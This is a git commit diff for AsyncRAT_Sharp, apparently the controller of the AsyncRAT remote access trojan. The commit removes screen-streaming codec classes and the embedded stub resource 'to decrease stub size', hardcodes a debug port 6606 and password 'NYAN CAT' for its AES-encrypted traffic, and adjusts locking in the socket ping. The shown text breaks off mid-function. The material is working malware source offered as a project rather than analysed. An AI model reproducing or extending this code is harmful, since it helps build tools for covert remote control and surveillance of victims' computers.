Update
remove unnecessary classes to decrease stub size
This commit is contained in:
parent
e0af8a63aa
commit
953140bbbf
@ -147,35 +147,12 @@
|
||||
<Compile Include="Settings.cs" />
|
||||
<Compile Include="Socket\Clients.cs" />
|
||||
<Compile Include="Socket\Listener.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\DirectDriverCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\MJPGCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\QuickCachedStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\QuickStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\SmallCachedStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\SmallStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Encoders\GridCoder\GridBlock.cs" />
|
||||
<Compile Include="StreamLibrary\Encoders\GridCoder\GridEncoder.cs" />
|
||||
<Compile Include="StreamLibrary\Enums.cs" />
|
||||
<Compile Include="StreamLibrary\IEncoder.cs" />
|
||||
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
|
||||
<Compile Include="StreamLibrary\IVideoCodec.cs" />
|
||||
<Compile Include="StreamLibrary\src\CRC32.cs" />
|
||||
<Compile Include="StreamLibrary\src\ExtensionAttribute.cs" />
|
||||
<Compile Include="StreamLibrary\src\Extentions.cs" />
|
||||
<Compile Include="StreamLibrary\src\FastBitmap.cs" />
|
||||
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\MurmurHash2Unsafe.cs" />
|
||||
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
||||
<Compile Include="StreamLibrary\src\PayloadWriter.cs" />
|
||||
<Compile Include="StreamLibrary\src\PointerHelper.cs" />
|
||||
<Compile Include="StreamLibrary\src\SafeQuickLZ.cs" />
|
||||
<Compile Include="StreamLibrary\src\SimpleBitmap.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCacheCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCachedStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeMiniCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeOptimizedCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeQuickStream.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||
<EmbeddedResource Include="Forms\FormAbout.resx">
|
||||
<DependentUpon>FormAbout.cs</DependentUpon>
|
||||
|
@ -41,7 +41,7 @@ namespace AsyncRAT_Sharp
|
||||
{
|
||||
if (!File.Exists(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config")))
|
||||
{
|
||||
File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe);
|
||||
File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe);
|
||||
Process.Start(Application.ExecutablePath);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
@ -56,7 +56,7 @@ namespace AsyncRAT_Sharp
|
||||
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Stub"));
|
||||
|
||||
if (!File.Exists(Path.Combine(Application.StartupPath, "Stub\\Stub.exe")))
|
||||
File.WriteAllBytes(Path.Combine(Application.StartupPath, "Stub\\Stub.exe"), Properties.Resources.Stub);
|
||||
MessageBox.Show("Stub Not Found");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@ -67,6 +67,11 @@ namespace AsyncRAT_Sharp
|
||||
private async void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
Text = $"{Settings.Version}";
|
||||
#if DEBUG
|
||||
Settings.Port = "6606";
|
||||
Settings.Password = "NYAN CAT";
|
||||
Settings.AES = new Aes256(Settings.Password);
|
||||
#else
|
||||
using (FormPorts portsFrm = new FormPorts())
|
||||
{
|
||||
portsFrm.ShowDialog();
|
||||
@ -74,6 +79,8 @@ namespace AsyncRAT_Sharp
|
||||
Settings.Password = portsFrm.textPassword.Text;
|
||||
Settings.AES = new Aes256(Settings.Password);
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
await Methods.FadeIn(this, 5);
|
||||
trans = true;
|
||||
|
@ -254,16 +254,6 @@ namespace AsyncRAT_Sharp.Properties {
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Looks up a localized resource of type System.Byte[].
|
||||
/// </summary>
|
||||
internal static byte[] Stub {
|
||||
get {
|
||||
object obj = ResourceManager.GetObject("Stub", resourceCulture);
|
||||
return ((byte[])(obj));
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Looks up a localized resource of type System.Drawing.Bitmap.
|
||||
/// </summary>
|
||||
|
@ -136,9 +136,6 @@
|
||||
<data name="cGeoIp" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\cGeoIp.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="AsyncRAT_Sharp_exe" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\AsyncRAT-Sharp.exe.config;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
|
||||
</data>
|
||||
<data name="botkiller" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\botkiller.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
@ -181,13 +178,13 @@
|
||||
<data name="msgbox" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\msgbox.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="Stub" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Stub.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="visit" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="settings" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\settings.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="AsyncRAT_Sharp_exe" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\AsyncRAT-Sharp.exe.config;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
|
||||
</data>
|
||||
</root>
|
Binary file not shown.
Binary file not shown.
@ -1,3 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0,Profile=Client"/></startup></configuration>
|
@ -184,21 +184,24 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
{
|
||||
lock (SendSync)
|
||||
{
|
||||
try
|
||||
lock (EndSendSync)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
||||
byte[] buffer = Settings.AES.Encrypt(msgpack.Encode2Bytes());
|
||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||
ClientSocket.Poll(-1, SelectMode.SelectWrite);
|
||||
ClientSocket.Send(buffersize, 0, buffersize.Length, SocketFlags.None);
|
||||
ClientSocket.Send(buffer, 0, buffer.Length, SocketFlags.None);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Disconnected();
|
||||
return;
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
||||
byte[] buffer = Settings.AES.Encrypt(msgpack.Encode2Bytes());
|
||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||
ClientSocket.Poll(-1, SelectMode.SelectWrite);
|
||||
ClientSocket.Send(buffersize, 0, buffersize.Length, SocketFlags.None);
|
||||
ClientSocket.Send(buffer, 0, buffer.Length, SocketFlags.None);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Disconnected();
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -1,160 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class DirectDriverCodec
|
||||
{
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
private byte[] EncodeBuffer;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private JpgCompression jpgCompression;
|
||||
|
||||
public DirectDriverCodec(int Quality)
|
||||
{
|
||||
jpgCompression = new JpgCompression(Quality);
|
||||
}
|
||||
|
||||
public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
for (int i = 0; i < Changes.Length; i++)
|
||||
{
|
||||
Rectangle rect = Changes[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
}
|
||||
|
||||
public Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
return decodedBitmap;
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,68 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
/// <summary>
|
||||
/// The M-JPG codec is not very efficient for networking as it is just a very simple codec
|
||||
/// </summary>
|
||||
public class MJPGCodec : IVideoCodec
|
||||
{
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get { return 0; }
|
||||
internal set { }
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.None; }
|
||||
}
|
||||
|
||||
public MJPGCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
lock (base.jpgCompression)
|
||||
{
|
||||
byte[] data = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(data.Length), 0, 4);
|
||||
outStream.Write(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
lock (base.jpgCompression)
|
||||
{
|
||||
if (!inStream.CanRead)
|
||||
throw new Exception("Must have access to Read in the Stream");
|
||||
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
int DataLength = BitConverter.ToInt32(temp, 0);
|
||||
temp = new byte[DataLength];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
return (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,204 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class QuickCachedStreamCodec : IVideoCodec
|
||||
{
|
||||
private Bitmap CodeTempBitmap;
|
||||
private Bitmap DecodeTempBitmap;
|
||||
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public int MaxBuffers { get; private set; }
|
||||
private SortedList<int, byte[]> EncodeCache;
|
||||
private SortedList<int, byte[]> DecodeCache;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of QuickStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.MaxBuffers = MaxBuffers;
|
||||
this.EncodeCache = new SortedList<int, byte[]>();
|
||||
this.DecodeCache = new SortedList<int, byte[]>();
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
{
|
||||
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
}
|
||||
|
||||
if (CodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
CodeTempBitmap = bitmap;
|
||||
return;
|
||||
}
|
||||
|
||||
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
int Stride = Math.Abs(bmpData.Stride);
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
|
||||
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
|
||||
{
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
|
||||
|
||||
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
|
||||
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
|
||||
{
|
||||
byte[] temp = new byte[Stride];
|
||||
fixed(byte* ptr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length);
|
||||
}
|
||||
|
||||
CRC32 hasher = new CRC32();
|
||||
int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0);
|
||||
|
||||
if (EncodeCache.Count >= MaxBuffers)
|
||||
EncodeCache.RemoveAt(0);
|
||||
|
||||
if (EncodeCache.ContainsKey(hash))
|
||||
{
|
||||
outStream.WriteByte(1);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
|
||||
}
|
||||
else
|
||||
{
|
||||
outStream.WriteByte(0);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
EncodeCache.Add(hash, temp);
|
||||
}
|
||||
Blocks.Add(ScanBlock);
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
|
||||
byte[] temp = base.jpgCompression.Compress(cloned);
|
||||
|
||||
cloned.Dispose();
|
||||
}
|
||||
|
||||
bitmap.UnlockBits(bmpData);
|
||||
CodeTempBitmap.UnlockBits(CodeBmpData);
|
||||
|
||||
if (onVideoStreamCoding != null)
|
||||
onVideoStreamCoding(outStream, Blocks.ToArray());
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
CodeTempBitmap.Dispose();
|
||||
this.CodeTempBitmap = bitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
if (!inStream.CanRead)
|
||||
throw new Exception("Must have access to Read in the Stream");
|
||||
|
||||
if (DecodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
|
||||
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
|
||||
//int Stride = Math.Abs(BmpData.Stride);
|
||||
|
||||
while (inStream.Position < inStream.Length)
|
||||
{
|
||||
byte[] temp = new byte[11];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
bool inCache = temp[0] == 1;
|
||||
int DataSize = BitConverter.ToInt32(temp, 1);
|
||||
int Hash = BitConverter.ToInt32(temp, 5);
|
||||
ushort Y = BitConverter.ToUInt16(temp, 9);
|
||||
|
||||
temp = new byte[DataSize];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
if (inCache)
|
||||
{
|
||||
if (DecodeCache.ContainsKey(Hash))
|
||||
{
|
||||
temp = DecodeCache[Hash];
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
//copy new data to cached bitmap
|
||||
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
|
||||
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
|
||||
{
|
||||
g.DrawImage(tmpBmp, new Point(0, Y));
|
||||
}
|
||||
|
||||
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
|
||||
int Offset = Y * Stride;
|
||||
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
|
||||
//tmpBmp.UnlockBits(tmpData);
|
||||
tmpBmp.Dispose();
|
||||
}
|
||||
//DecodeTempBitmap.UnlockBits(BmpData);
|
||||
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,179 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class QuickStreamCodec : IVideoCodec
|
||||
{
|
||||
private Bitmap CodeTempBitmap;
|
||||
private Bitmap DecodeTempBitmap;
|
||||
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of QuickStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public QuickStreamCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
|
||||
}
|
||||
|
||||
public override void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
{
|
||||
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
}
|
||||
|
||||
if (CodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
CodeTempBitmap = bitmap;
|
||||
return;
|
||||
}
|
||||
|
||||
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
int Stride = Math.Abs(bmpData.Stride);
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
|
||||
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
|
||||
{
|
||||
if(onCodeDebugScan != null)
|
||||
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
|
||||
|
||||
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
|
||||
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
|
||||
{
|
||||
int index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y)
|
||||
{
|
||||
ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height);
|
||||
Blocks[index] = ScanBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(ScanBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
|
||||
byte[] temp = base.jpgCompression.Compress(cloned);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
cloned.Dispose();
|
||||
TotalDataLength += 6 + temp.Length;
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
|
||||
